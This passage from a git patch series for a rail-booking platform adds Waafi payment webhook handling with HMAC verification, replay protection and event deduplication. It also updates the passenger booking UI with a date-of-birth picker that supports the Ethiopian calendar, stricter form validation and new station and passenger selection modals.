webhook for ref=${merchantOrderId} status=${payment.status}`, + ); + } else if (mapped === ProviderPaymentStatus.SUCCEEDED) { + await this.payments.finalizePaymentSuccess({ + intentId: intent.id, + providerTxnId, + paidAt: this.parseDate(payment.date), + }); + } else if ( + mapped === ProviderPaymentStatus.FAILED || + mapped === ProviderPaymentStatus.CANCELLED + ) { + await this.payments.markPaymentFailed({ + intentId: intent.id, + failureCode: payment.status, + failureMessage: payment.description, + }); + } else { + await this.prisma.paymentIntent.update({ + where: { id: intent.id }, + data: { + status: mapped as unknown as PaymentIntentStatus, + providerTxnId, + }, + }); + } + await this.markProcessed(eventRow.id); + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + this.logger.error( + `Waafi webhook processing failed for ${merchantOrderId}: ${message}`, + ); + await this.markProcessed(eventRow.id, `processing-error: ${message}`); + throw err; } return { received: true }; } + + private async persistEvent(input: { + externalEventId: string; + merchantOrderId: string; + providerTxnId?: string; + signatureValid: boolean; + status: string; + payload: WaafiWebhookTransactionPayload; + }): Promise<{ id: string } | null> { + try { + return await this.prisma.paymentWebhookEvent.create({ + data: { + provider: PaymentMethodType.WAAFI, + externalEventId: input.externalEventId, + merchantOrderId: input.merchantOrderId, + providerTxnId: input.providerTxnId, + signatureValid: input.signatureValid, + status: input.status, + payload: input.payload as unknown as Prisma.InputJsonValue, + }, + select: { id: true }, + }); + } catch (err) { + if ( + err instanceof Prisma.PrismaClientKnownRequestError && + err.code === 'P2002' + ) { + return null; + } + throw err; + } + } + + private async markProcessed(eventId: string, processingError?: string): Promise { + await this.prisma.paymentWebhookEvent.update({ + where: { id: eventId }, + data: { processedAt: new Date(), processingError }, + }); + } + + /** True when the webhook timestamp (unix seconds) is within the replay window. */ + private isFresh(timestamp: string | undefined): boolean { + if (!timestamp) return false; + const ts = parseInt(timestamp, 10); + if (Number.isNaN(ts)) return false; + const now = Math.floor(Date.now() / 1000); + return Math.abs(now - ts) <= WAAFI_REPLAY_WINDOW_SECONDS; + } + + /** Parse Waafi's "YYYY-MM-DD HH:mm:ss" payment date; undefined when unparseable. */ + private parseDate(raw: string | undefined): Date | undefined { + if (!raw) return undefined; + const d = new Date(raw); + return Number.isNaN(d.getTime()) ? undefined : d; + } } diff --git a/apps/edr-passenger-api/src/modules/payments/webhooks/webhooks.controller.ts b/apps/edr-passenger-api/src/modules/payments/webhooks/webhooks.controller.ts index 4dd340d06..4e56c7c04 100644 --- a/apps/edr-passenger-api/src/modules/payments/webhooks/webhooks.controller.ts +++ b/apps/edr-passenger-api/src/modules/payments/webhooks/webhooks.controller.ts @@ -1,10 +1,12 @@ -import {All, Body, Controller, Headers, HttpCode, HttpStatus, Logger, Post} from '@nestjs/common'; +import {All, Body, Controller, Headers, HttpCode, HttpStatus, Logger, Post, Req} from '@nestjs/common'; import { ApiOperation, ApiTags } from '@nestjs/swagger'; import { TelebirrWebhookPayload, CbeBirrWebhookPayload, EBirrWebhookPayload, CardWebhookPayload, + WaafiWebhookPayload, + WaafiWebhookHeaders, } from '@edr/payment-providers'; import { TelebirrWebhookService } from './telebirr-webhook.service'; import { CbeBirrWebhookService } from './cbe-birr-webhook.service'; @@ -103,9 +105,18 @@ export class WebhooksController { summary: 'Waafi payment notification callback (Djibouti)', description: 'Webhook endpoint for Waafi mobile money payment status updates. Used by Djiboutian passengers.' }) - async receiveWaafi(@Body() payload: any) { + async receiveWaafi( + @Body() payload: WaafiWebhookPayload, + @Headers() headers: WaafiWebhookHeaders, + @Req() req: { rawBody?: Buffer }, + ) { + this.logger.log( + `Waafi webhook hit: event=${payload?.event ?? 'unknown'} eventId=${headers['x-webhook-event-id'] ?? 'n/a'}`, + ); try { - await this.waafi.handleWebhook(payload); + // HMAC verification must sign over the exact raw bytes Waafi sent, not re-serialized JSON. + const rawBody = req.rawBody?.toString('utf8') ?? ''; + await this.waafi.handleWebhook(payload, rawBody, headers); } catch (err) { const message = err instanceof Error ? err.message : String(err); this.logger.error(`Waafi webhook handler threw: ${message}`); diff --git a/packages/payment-providers/src/providers/waafi/waafi.provider.ts b/packages/payment-providers/src/providers/waafi/waafi.provider.ts index 515de1786..caabdf251 100644 --- a/packages/payment-providers/src/providers/waafi/waafi.provider.ts +++ b/packages/payment-providers/src/providers/waafi/waafi.provider.ts @@ -12,6 +12,7 @@ import { import { AxiosError, AxiosRequestConfig } from 'axios'; import { firstValueFrom } from 'rxjs'; import * as crypto from 'node:crypto'; +import * as https from 'node:https'; import { WaafiGetTranInfoRequest, WaafiGetTranInfoResponse, @@ -28,11 +29,20 @@ const WAAFI_HPP_SESSION_MS = 5 * 60_000; export class WaafiProvider implements PaymentProvider { readonly method = ProviderMethod.WAAFI; private readonly logger = new Logger(WaafiProvider.name); + private readonly httpsAgent: https.Agent; constructor( private readonly config: ConfigService, private readonly http: HttpService, - ) {} + ) { + const insecure = this.config.get('waafi.insecureTls'); + if (insecure) { + this.logger.warn( + 'WAAFI_INSECURE_TLS=true — TLS verification disabled for Waafi calls. DEV ONLY.', + ); + } + this.httpsAgent = new https.Agent({ rejectUnauthorized: !insecure }); + } async initiate(input: ProviderInitiationInput): Promise { const requestBody = this.buildPurchaseRequest(input); @@ -206,6 +216,7 @@ export class WaafiProvider implements PaymentProvider { const config: AxiosRequestConfig = { headers: { 'Content-Type': 'application/json' }, timeout: WAAFI_HTTP_TIMEOUT_MS, + httpsAgent: this.httpsAgent, }; const started = Date.now(); @@ -237,7 +248,7 @@ export class WaafiProvider implements PaymentProvider { } private get baseUrl(): string { - return this.config.get('waafi.baseUrl') ?? 'https://sandbox.waafipay.com'; + return this.config.get('waafi.baseUrl') ?? 'https://sandbox.waafipay.net'; } private get merchantUid(): string { return this.config.get('waafi.merchantUid') ?? ''; From ac3aa348ce0e98397425618b3f2007547eda79eb Mon Sep 17 00:00:00 2001 From: Roba Boru Date: Wed, 10 Jun 2026 18:49:40 +0300 Subject: [PATCH 05/31] Update booking portal UI/UX --- .../portal/src/app/booking/layout.tsx | 4 +- .../src/app/booking/passengers/page.tsx | 498 ++++++-- .../portal/src/app/booking/results/page.tsx | 302 ++--- .../portal/src/app/booking/search/page.tsx | 1054 ++++++++++++----- .../portal/src/app/booking/seats/page.tsx | 286 +++-- .../portal/src/app/globals.css | 18 + .../portal/src/app/login/page.tsx | 2 +- .../portal/src/components/Footer.tsx | 42 +- .../src/components/ModernDatePicker.tsx | 412 +++---- .../src/components/ProgressIndicator.tsx | 154 +-- .../portal/src/components/SearchWidget.tsx | 2 +- .../portal/src/lib/booking-store.ts | 1 + 12 files changed, 1777 insertions(+), 998 deletions(-) diff --git a/apps/edr-passenger-web/portal/src/app/booking/layout.tsx b/apps/edr-passenger-web/portal/src/app/booking/layout.tsx index 276a3af51..e326bd376 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/layout.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/layout.tsx @@ -28,9 +28,7 @@ export default function BookingLayout({
{showProgress && (
-
- -
+
)} {children} diff --git a/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx index 79649c4b0..c5c9b4e06 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx @@ -7,16 +7,338 @@ import { useRouter } from 'next/navigation'; import { useBookingStore } from '@/lib/booking-store'; import { useAuthStore } from '@/lib/auth-store'; import { apiClient } from '@/lib/api-client'; -import { useState, useEffect } from 'react'; -import { CheckCircle, ExternalLink, Loader2 } from 'lucide-react'; +import { useState, useEffect, useRef } from 'react'; +import { CheckCircle, ExternalLink, Loader2, CalendarDays, X, Globe } from 'lucide-react'; +import { gregorianToEthiopian, ethiopianToGregorian, ETHIOPIAN_MONTHS, getDaysInEthiopianMonth } from '@/lib/ethiopian-calendar'; + +const GC_MONTHS = ['January','February','March','April','May','June','July','August','September','October','November','December']; + +function daysInGCMonth(y: number, m: number) { + return new Date(y, m, 0).getDate(); +} + +function DobPickerModal({ + value, + onChange, + error, +}: { + value: string; + onChange: (iso: string) => void; + error?: string; +}) { + const [open, setOpen] = useState(false); + const [manualMode, setManualMode] = useState(false); + const [calType, setCalType] = useState<'gregorian' | 'ethiopian'>('gregorian'); + const currentYear = new Date().getFullYear(); + const currentEthYear = gregorianToEthiopian(new Date()).year; + + // Parse stored ISO value (always Gregorian) + const parsed = value ? value.split('-') : []; + const initGCYear = parsed[0] ? parseInt(parsed[0]) : currentYear - 25; + const initGCMonth = parsed[1] ? parseInt(parsed[1]) : 1; + const initGCDay = parsed[2] ? parseInt(parsed[2]) : 1; + + // Gregorian drum state + const [selGCYear, setSelGCYear] = useState(initGCYear); + const [selGCMonth, setSelGCMonth] = useState(initGCMonth); + const [selGCDay, setSelGCDay] = useState(initGCDay); + + // Ethiopian drum state — initialise from parsed value if present + const initEth = value ? gregorianToEthiopian(new Date(initGCYear, initGCMonth - 1, initGCDay)) : { year: currentEthYear - 25, month: 1, day: 1 }; + const [selEthYear, setSelEthYear] = useState(initEth.year); + const [selEthMonth, setSelEthMonth] = useState(initEth.month); + const [selEthDay, setSelEthDay] = useState(initEth.day); + + // Manual inputs + const [manDay, setManDay] = useState(parsed[2] ? String(parseInt(parsed[2])) : ''); + const [manMonth, setManMonth] = useState(parsed[1] ? String(parseInt(parsed[1])) : ''); + const [manYear, setManYear] = useState(parsed[0] || ''); + + // Computed + const gcMaxDay = daysInGCMonth(selGCYear, selGCMonth); + const ethMaxDay = getDaysInEthiopianMonth(selEthYear, selEthMonth); + const gcSafeDay = Math.min(selGCDay, gcMaxDay); + const ethSafeDay = Math.min(selEthDay, ethMaxDay); + + const gcYears = Array.from({ length: 100 }, (_, i) => currentYear - i); + const ethYears = Array.from({ length: 100 }, (_, i) => currentEthYear - i); + const gcMonths = GC_MONTHS.map((m, i) => ({ label: m, value: i + 1 })); + const ethMonths = ETHIOPIAN_MONTHS.map((m, i) => ({ label: m, value: i + 1 })); + const gcDays = Array.from({ length: gcMaxDay }, (_, i) => i + 1); + const ethDays = Array.from({ length: ethMaxDay }, (_, i) => i + 1); + + const dayRef = useRef(null); + const monthRef = useRef(null); + const yearRef = useRef(null); + const ITEM_H = 48; + + const scrollTo = (ref: React.RefObject, idx: number) => { + ref.current?.scrollTo({ top: Math.max(0, idx) * ITEM_H, behavior: 'smooth' }); + }; + + // Scroll drums to current selection when opened or calType changed + useEffect(() => { + if (!open || manualMode) return; + setTimeout(() => { + if (calType === 'gregorian') { + scrollTo(dayRef, gcSafeDay - 1); + scrollTo(monthRef, selGCMonth - 1); + scrollTo(yearRef, gcYears.indexOf(selGCYear)); + } else { + scrollTo(dayRef, ethSafeDay - 1); + scrollTo(monthRef, selEthMonth - 1); + scrollTo(yearRef, ethYears.indexOf(selEthYear)); + } + }, 60); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [open, manualMode, calType]); + + const makeScrollHandler = ( + ref: React.RefObject, + setter: (v: number) => void, + getList: () => number[], + ) => { + let timer: ReturnType; + return () => { + clearTimeout(timer); + timer = setTimeout(() => { + const el = ref.current; + if (!el) return; + const list = getList(); + const idx = Math.round(el.scrollTop / ITEM_H); + const clamped = Math.max(0, Math.min(idx, list.length - 1)); + setter(list[clamped]); + el.scrollTo({ top: clamped * ITEM_H, behavior: 'smooth' }); + }, 150); + }; + }; + + const gcDayHandler = useRef(makeScrollHandler(dayRef, setSelGCDay, () => Array.from({ length: daysInGCMonth(selGCYear, selGCMonth) }, (_, i) => i + 1))).current; + const gcMonthHandler = useRef(makeScrollHandler(monthRef, setSelGCMonth, () => GC_MONTHS.map((_, i) => i + 1))).current; + const gcYearHandler = useRef(makeScrollHandler(yearRef, setSelGCYear, () => Array.from({ length: 100 }, (_, i) => new Date().getFullYear() - i))).current; + + const ethDayHandler = useRef(makeScrollHandler(dayRef, setSelEthDay, () => Array.from({ length: getDaysInEthiopianMonth(selEthYear, selEthMonth) }, (_, i) => i + 1))).current; + const ethMonthHandler = useRef(makeScrollHandler(monthRef, setSelEthMonth, () => ETHIOPIAN_MONTHS.map((_, i) => i + 1))).current; + const ethYearHandler = useRef(makeScrollHandler(yearRef, setSelEthYear, () => Array.from({ length: 100 }, (_, i) => gregorianToEthiopian(new Date()).year - i))).current; + + const confirm = () => { + let gregDate: Date; + if (calType === 'gregorian') { + const d = Math.min(selGCDay, daysInGCMonth(selGCYear, selGCMonth)); + gregDate = new Date(selGCYear, selGCMonth - 1, d); + } else { + const d = Math.min(selEthDay, getDaysInEthiopianMonth(selEthYear, selEthMonth)); + gregDate = ethiopianToGregorian({ year: selEthYear, month: selEthMonth, day: d }); + } + const iso = `${gregDate.getFullYear()}-${String(gregDate.getMonth() + 1).padStart(2,'0')}-${String(gregDate.getDate()).padStart(2,'0')}`; + onChange(iso); + setOpen(false); + }; + + const confirmManual = () => { + const d = parseInt(manDay), m = parseInt(manMonth), y = parseInt(manYear); + if (!d || !m || !y || m < 1 || m > 12 || d < 1 || d > daysInGCMonth(y, m) || y < currentYear - 110 || y > currentYear) return; + onChange(`${y}-${String(m).padStart(2,'0')}-${String(d).padStart(2,'0')}`); + setOpen(false); + }; + + const manualValid = (() => { + const d = parseInt(manDay), m = parseInt(manMonth), y = parseInt(manYear); + return d >= 1 && m >= 1 && m <= 12 && y >= currentYear - 110 && y <= currentYear && d <= daysInGCMonth(y, m); + })(); + + // Display: always show Gregorian ISO as human-readable, with calendar label + const displayValue = (() => { + if (!value) return ''; + const [y, mo, d] = value.split('-').map(Number); + const gcStr = `${GC_MONTHS[mo - 1]} ${d}, ${y}`; + if (calType === 'ethiopian') { + const eth = gregorianToEthiopian(new Date(y, mo - 1, d)); + return `${ETHIOPIAN_MONTHS[eth.month - 1]} ${eth.day}, ${eth.year} (${gcStr})`; + } + return gcStr; + })(); + + // Confirm button label + const confirmLabel = (() => { + if (manualMode) return manualValid ? `Confirm — ${manDay}/${manMonth}/${manYear}` : 'Confirm'; + if (calType === 'gregorian') { + const d = Math.min(selGCDay, gcMaxDay); + return `Confirm — ${GC_MONTHS[selGCMonth - 1]} ${d}, ${selGCYear}`; + } else { + const d = Math.min(selEthDay, ethMaxDay); + const gcDate = ethiopianToGregorian({ year: selEthYear, month: selEthMonth, day: d }); + return `Confirm — ${ETHIOPIAN_MONTHS[selEthMonth - 1]} ${d}, ${selEthYear} (GC: ${GC_MONTHS[gcDate.getMonth()]} ${gcDate.getDate()}, ${gcDate.getFullYear()})`; + } + })(); + + const col = ( + ref: React.RefObject, + list: Array<{ label: string; value: number }>, + selected: number, + setter: (v: number) => void, + scrollHandler: () => void, + ) => ( +
+
+
+ {list.map((item, idx) => ( +
{ setter(item.value); ref.current?.scrollTo({ top: idx * ITEM_H, behavior: 'smooth' }); }} + className={`flex items-center justify-center text-sm font-medium transition-all select-none ${ + item.value === selected ? 'text-primary font-bold text-base' : 'text-gray-400 dark:text-gray-500' + }`} + > + {item.label} +
+ ))} +
+
+
+ ); + + return ( +
+ + {error &&

{error}

} + + {open && ( + <> +
setOpen(false)} /> +
+ {/* Header */} +
+
+

Date of Birth

+ {!manualMode && ( + + )} + +
+ +
+ + {/* Calendar type label */} + {!manualMode && ( +
+

+ {calType === 'gregorian' ? 'Gregorian Calendar' : 'Ethiopian Calendar (ኢትዮጵያ)'} +

+
+ )} + + {manualMode ? ( +
+
+
+ + setManDay(e.target.value)} placeholder="DD" className="input-field text-center text-lg font-semibold" /> +
+
+ + setManMonth(e.target.value)} placeholder="MM" className="input-field text-center text-lg font-semibold" /> +
+
+ + setManYear(e.target.value)} placeholder="YYYY" className="input-field text-center text-lg font-semibold" /> +
+
+ {manDay && manMonth && manYear && !manualValid && ( +

Please enter a valid Gregorian date

+ )} +
+ ) : ( + <> +
+ {['Day', 'Month', 'Year'].map(l => ( +
{l}
+ ))} +
+
+
+
+ {calType === 'gregorian' ? ( + <> + {col(dayRef, gcDays.map(d => ({ label: String(d), value: d })), gcSafeDay, setSelGCDay, gcDayHandler)} + {col(monthRef, gcMonths, selGCMonth, setSelGCMonth, gcMonthHandler)} + {col(yearRef, gcYears.map(y => ({ label: String(y), value: y })), selGCYear, setSelGCYear, gcYearHandler)} + + ) : ( + <> + {col(dayRef, ethDays.map(d => ({ label: String(d), value: d })), ethSafeDay, setSelEthDay, ethDayHandler)} + {col(monthRef, ethMonths, selEthMonth, setSelEthMonth, ethMonthHandler)} + {col(yearRef, ethYears.map(y => ({ label: String(y), value: y })), selEthYear, setSelEthYear, ethYearHandler)} + + )} +
+
+ + )} + +
+ +
+
+ + + )} +
+ ); +} const passengerSchema = z.object({ - name: z.string().min(2, 'Name is required'), + name: z.string().min(2, 'Full name is required (min 2 characters)'), dateOfBirth: z.string().min(1, 'Date of birth is required'), - gender: z.enum(['Male', 'Female']).optional(), + gender: z.string().min(1, 'Gender is required'), nationality: z.string().min(1, 'Nationality is required'), - phone: z.string().optional(), - email: z.string().email('Invalid email').optional().or(z.literal('')), + phone: z.string().min(1, 'Phone number is required'), + email: z.string().optional(), nationalId: z.string().optional(), passportNumber: z.string().optional(), passportCountry: z.string().optional(), @@ -26,15 +348,25 @@ const passengerSchema = z.object({ faydaVerified: z.boolean().optional(), faydaSub: z.string().optional(), formExpanded: z.boolean().optional(), -}).refine((data) => { - if (data.nationality !== 'ETHIOPIAN' && data.nationality !== 'Ethiopian') { - return data.passportNumber && data.passportNumber.length > 0 && - data.passportCountry && data.passportCountry.length > 0; +}).superRefine((data, ctx) => { + if (data.gender !== 'Male' && data.gender !== 'Female') { + ctx.addIssue({ code: z.ZodIssueCode.custom, message: 'Gender is required', path: ['gender'] }); + } + if (data.email && data.email.trim().length > 0) { + const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; + if (!emailRegex.test(data.email)) { + ctx.addIssue({ code: z.ZodIssueCode.custom, message: 'Invalid email format', path: ['email'] }); + } + } + const isNonEthiopian = data.nationality !== 'ETHIOPIAN' && data.nationality !== 'Ethiopian'; + if (isNonEthiopian) { + if (!data.passportNumber || data.passportNumber.trim().length === 0) { + ctx.addIssue({ code: z.ZodIssueCode.custom, message: 'Passport number is required', path: ['passportNumber'] }); + } + if (!data.passportCountry || data.passportCountry.trim().length === 0) { + ctx.addIssue({ code: z.ZodIssueCode.custom, message: 'Issuing country is required', path: ['passportCountry'] }); + } } - return true; -}, { - message: 'Passport number and country are required for non-Ethiopian passengers', - path: ['passportNumber'], }); const formSchema = z.object({ @@ -57,7 +389,8 @@ export default function PassengersPage() { const totalPassengers = (searchCriteria?.adultCount || 1) + (searchCriteria?.childCount || 0); const { register, control, handleSubmit, setValue, watch, formState: { errors } } = useForm({ - resolver: zodResolver(formSchema), + resolver: zodResolver(formSchema as any), + mode: 'onChange', defaultValues: { passengers: Array.from({ length: totalPassengers }, () => ({ name: '', @@ -418,82 +751,80 @@ export default function PassengersPage() { )}
+ {/* Full Name */}
setValue(`passengers.${index}.name`, e.target.value)} /> {errors.passengers?.[index]?.name && ( -

{errors.passengers[index]?.name?.message}

+

{errors.passengers[index]?.name?.message}

)}
+ {/* Date of Birth */}
- setValue(`passengers.${index}.dateOfBirth`, e.target.value)} + onChange={(iso) => setValue(`passengers.${index}.dateOfBirth`, iso, { shouldValidate: true })} + error={errors.passengers?.[index]?.dateOfBirth?.message} /> - {errors.passengers?.[index]?.dateOfBirth && ( -

{errors.passengers[index]?.dateOfBirth?.message}

- )}
+ {/* Gender */}
- + + {errors.passengers?.[index]?.gender && ( +

{errors.passengers[index]?.gender?.message}

+ )}
+ {/* Nationality (read-only) */}
- +
+ {/* Phone */}
- + setValue(`passengers.${index}.phone`, e.target.value)} /> + {errors.passengers?.[index]?.phone && ( +

{errors.passengers[index]?.phone?.message}

+ )}
+ {/* Email */}
setValue(`passengers.${index}.email`, e.target.value)} /> {errors.passengers?.[index]?.email && ( -

{errors.passengers[index]?.email?.message}

+

{errors.passengers[index]?.email?.message}

)}
@@ -501,113 +832,109 @@ export default function PassengersPage() { ) : ( <>
+ {/* Full Name */}
setValue(`passengers.${index}.name`, e.target.value)} /> {errors.passengers?.[index]?.name && ( -

{errors.passengers[index]?.name?.message}

+

{errors.passengers[index]?.name?.message}

)}
+ {/* Date of Birth */}
- setValue(`passengers.${index}.dateOfBirth`, e.target.value)} + onChange={(iso) => setValue(`passengers.${index}.dateOfBirth`, iso, { shouldValidate: true })} + error={errors.passengers?.[index]?.dateOfBirth?.message} /> - {errors.passengers?.[index]?.dateOfBirth && ( -

{errors.passengers[index]?.dateOfBirth?.message}

- )}
+ {/* Gender */}
- + + {errors.passengers?.[index]?.gender && ( +

{errors.passengers[index]?.gender?.message}

+ )}
+ {/* Nationality (read-only) */}
- +
+ {/* Phone */}
- + setValue(`passengers.${index}.phone`, e.target.value)} /> + {errors.passengers?.[index]?.phone && ( +

{errors.passengers[index]?.phone?.message}

+ )}
+ {/* Email */}
setValue(`passengers.${index}.email`, e.target.value)} /> {errors.passengers?.[index]?.email && ( -

{errors.passengers[index]?.email?.message}

+

{errors.passengers[index]?.email?.message}

)}
+ {/* Passport fields */}
+

Passport Details

setValue(`passengers.${index}.passportNumber`, e.target.value)} /> {errors.passengers?.[index]?.passportNumber && ( -

{errors.passengers[index]?.passportNumber?.message}

+

{errors.passengers[index]?.passportNumber?.message}

)}
- + setValue(`passengers.${index}.passportCountry`, e.target.value)} + className={`input-field ${errors.passengers?.[index]?.passportCountry ? 'border-red-500' : ''}`} + placeholder="e.g., Djibouti" /> {errors.passengers?.[index]?.passportCountry && ( -

{errors.passengers[index]?.passportCountry?.message}

+

{errors.passengers[index]?.passportCountry?.message}

)}
@@ -617,8 +944,6 @@ export default function PassengersPage() { type="date" {...register(`passengers.${index}.passportIssueDate`)} className="input-field" - value={passengers[index]?.passportIssueDate || ''} - onChange={(e) => setValue(`passengers.${index}.passportIssueDate`, e.target.value)} />
@@ -628,8 +953,6 @@ export default function PassengersPage() { type="date" {...register(`passengers.${index}.passportExpiryDate`)} className="input-field" - value={passengers[index]?.passportExpiryDate || ''} - onChange={(e) => setValue(`passengers.${index}.passportExpiryDate`, e.target.value)} />
@@ -652,7 +975,18 @@ export default function PassengersPage() { )}
- +
+ + {/* Class grid */} +
+ {classModal.faresByClass && Array.isArray(classModal.faresByClass) && classModal.faresByClass.length > 0 ? ( +
+ {classModal.faresByClass.map((fareClass: any) => { + const isSelected = selectedClass === fareClass.seatClassName; + const availableSeats = classModal.availabilityByClass?.[fareClass.seatClassName] || 0; + const isAvailable = availableSeats > 0; + const isBedClass = fareClass.seatClassName.toLowerCase().includes('bed'); + return ( + + ); + })} +
+ ) : ( +

No seat classes available

+ )} +
+ + {/* Footer */} +
+ + {!selectedClass && ( +

Please select a class to continue

+ )} +
+
+ + + ); + })()} + {/* Promo Notification */} {promoData && (
-
- -
+

Promo code applied!

- {promoData.code} - {promoData.message} + {promoData.code} — {promoData.message}

)}
- -

Available trains

-
+

Available schedules

+
{searchData.date ? format(new Date(searchData.date), 'EEEE, MMMM d, yyyy') : 'Date not specified'} @@ -225,26 +332,21 @@ export default function ResultsPage() {
{results.map((schedule) => { const scheduleId = schedule.scheduleId || schedule.id || ''; - const isExpanded = expandedSchedules[scheduleId]; const selectedClass = selectedClasses[scheduleId]; - const lowestFare = schedule.faresByClass && Array.isArray(schedule.faresByClass) && schedule.faresByClass.length > 0 ? Math.min(...schedule.faresByClass.map((f: any) => f.baseFareMinor).filter((fare: number) => fare > 0)) : null; - const hours = Math.floor((schedule.durationMinutes || 0) / 60); const minutes = (schedule.durationMinutes || 0) % 60; const durationStr = `${hours}h ${minutes}m`; - const departureDate = schedule.departureAt ? new Date(schedule.departureAt) : null; - const arrivalDate = schedule.arrivalAt ? new Date(schedule.arrivalAt) : null; - const isNextDay = departureDate && arrivalDate && - departureDate.toDateString() !== arrivalDate.toDateString(); - + const arrivalDate = schedule.arrivalAt ? new Date(schedule.arrivalAt) : null; + const isNextDay = departureDate && arrivalDate && departureDate.toDateString() !== arrivalDate.toDateString(); + return ( -
-
+
+ {/* Train info */}
@@ -255,7 +357,7 @@ export default function ResultsPage() {
{schedule.trainName || 'Express Service'}
- +
@@ -266,136 +368,62 @@ export default function ResultsPage() {
{schedule.origin?.name || 'Origin'}
- +
{durationStr}
-
-
-
-
- {schedule.stops && schedule.stops.length > 0 && ( - <> - - {schedule.stops.length - 2} stops - - )} +
+
+ {schedule.stops && schedule.stops.length > 0 && ( +
+ + {schedule.stops.length - 2} stops +
+ )}
- +
{schedule.arrivalAt ? format(new Date(schedule.arrivalAt), 'HH:mm') : '--:--'}
{schedule.arrivalAt ? format(new Date(schedule.arrivalAt), 'MMM d') : ''} - {isNextDay && ( - (+1) - )} + {isNextDay && (+1)}
{schedule.destination?.name || 'Destination'}
+ {/* Fare + action */}
Starting from
-
+
{lowestFare ? `ETB ${(lowestFare / 100).toFixed(2)}` : 'N/A'}
per adult
+ {selectedClass && ( +

+ {selectedClass.replace(/_/g, ' ')} selected +

+ )}
- - {isExpanded && ( -
-

Select Class

-
- {schedule.faresByClass && Array.isArray(schedule.faresByClass) && schedule.faresByClass.length > 0 ? ( - schedule.faresByClass.map((fareClass: any) => { - const isSelected = selectedClass === fareClass.seatClassName; - const availableSeats = schedule.availabilityByClass?.[fareClass.seatClassName] || 0; - const isAvailable = availableSeats > 0; - const isBedClass = fareClass.seatClassName.toLowerCase().includes('bed'); - - return ( - - ); - }) - ) : ( -
- No seat classes available -
- )} -
- -
- -
-
- )}
-
- )})} + ); + })}
diff --git a/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx index 814ab7456..5b2ad3e9b 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx @@ -9,8 +9,11 @@ import { useAuthStore } from '@/lib/auth-store'; import { apiClient } from '@/lib/api-client'; import { useBookingStore } from '@/lib/booking-store'; import { Station } from '@/types'; -import { Train, MapPin, ArrowRight, Plus, Minus, Search, Users, ChevronDown, Gift, Check } from 'lucide-react'; -import { useEffect, useState } from 'react'; +import { + Train, MapPin, ArrowRight, ArrowLeftRight, Plus, Minus, Search, + Users, ChevronDown, Gift, Check, X, ChevronLeft, Clock, Zap, +} from 'lucide-react'; +import { useEffect, useRef, useState, useCallback } from 'react'; import ModernDatePicker from '@/components/ModernDatePicker'; const searchSchema = z.object({ @@ -21,33 +24,385 @@ const searchSchema = z.object({ childCount: z.number().min(0).max(9), nationality: z.enum(['ETHIOPIAN', 'DJIBOUTIAN', 'OTHER']), promoCode: z.string().optional(), -}).refine((data) => data.originStationId !== data.destinationStationId, { +}).refine((d) => d.originStationId !== d.destinationStationId, { message: 'Origin and destination must be different', path: ['destinationStationId'], }); type SearchForm = z.infer; +const POPULAR_ROUTES = [ + { from: 'Sebeta', to: 'Nagad', duration: '12h', icon: '🌆' }, + { from: 'Sebeta', to: 'Diredawa', duration: '8h', icon: '🏔️' }, + { from: 'Diredawa', to: 'Nagad', duration: '4h', icon: '🌊' }, +]; + +// ─── Station Modal ──────────────────────────────────────────────────────────── +function StationModal({ + stations, + title, + excludeId, + onSelect, + onClose, + recentIds, +}: { + stations: Station[]; + title: string; + excludeId?: string; + onSelect: (s: Station) => void; + onClose: () => void; + recentIds: string[]; +}) { + const [query, setQuery] = useState(''); + const inputRef = useRef(null); + + useEffect(() => { + setTimeout(() => inputRef.current?.focus(), 100); + }, []); + + const filtered = query.trim() + ? stations.filter( + (s) => + s.id !== excludeId && + (s.name.toLowerCase().includes(query.toLowerCase()) || + s.code?.toLowerCase().includes(query.toLowerCase())) + ) + : stations.filter((s) => s.id !== excludeId); + + const recentStations = recentIds + .map((id) => stations.find((s) => s.id === id)) + .filter(Boolean) as Station[]; + + return ( +
+ {/* Header */} +
+ +

{title}

+
+ + {/* Search input */} +
+
+ + setQuery(e.target.value)} + placeholder="Search stations..." + className="w-full pl-10 pr-10 py-3 bg-gray-50 dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-xl text-sm focus:outline-none focus:ring-2 focus:ring-primary text-gray-900 dark:text-white placeholder-gray-400" + /> + {query && ( + + )} +
+
+ + {/* Results */} +
+ {!query && recentStations.length > 0 && ( +
+

Recent

+ {recentStations.map((s) => ( + + ))} +
+ )} + +

+ {query ? 'Results' : 'All Stations'} +

+ {filtered.length === 0 ? ( +
+ +

No stations found

+
+ ) : ( + filtered.map((s) => ( + + )) + )} +
+
+ ); +} + +// ─── Passenger Modal (mobile bottom-sheet) ─────────────────────────────────── +function PassengerModal({ + adultCount, + childCount, + onChangeAdult, + onChangeChild, + onClose, +}: { + adultCount: number; + childCount: number; + onChangeAdult: (n: number) => void; + onChangeChild: (n: number) => void; + onClose: () => void; +}) { + const rows = [ + { label: 'Adults', sub: '≥ 5 years', val: adultCount, min: 1, max: 9, onChange: onChangeAdult }, + { label: 'Children', sub: '< 5 years • First child free', val: childCount, min: 0, max: 9, onChange: onChangeChild }, + ]; + + return ( + <> + {/* Backdrop */} +
+ {/* Bottom sheet */} +
+ {/* Handle */} +
+
+
+ {/* Header */} +
+
+ +

Passengers

+
+ +
+ {/* Rows */} +
+ {rows.map(({ label, sub, val, min, max, onChange }, i) => ( +
+ {i > 0 &&
} +
+
+

{label}

+

{sub}

+
+
+ + {val} + +
+
+
+ ))} +
+ {/* Done */} +
+ +
+ +
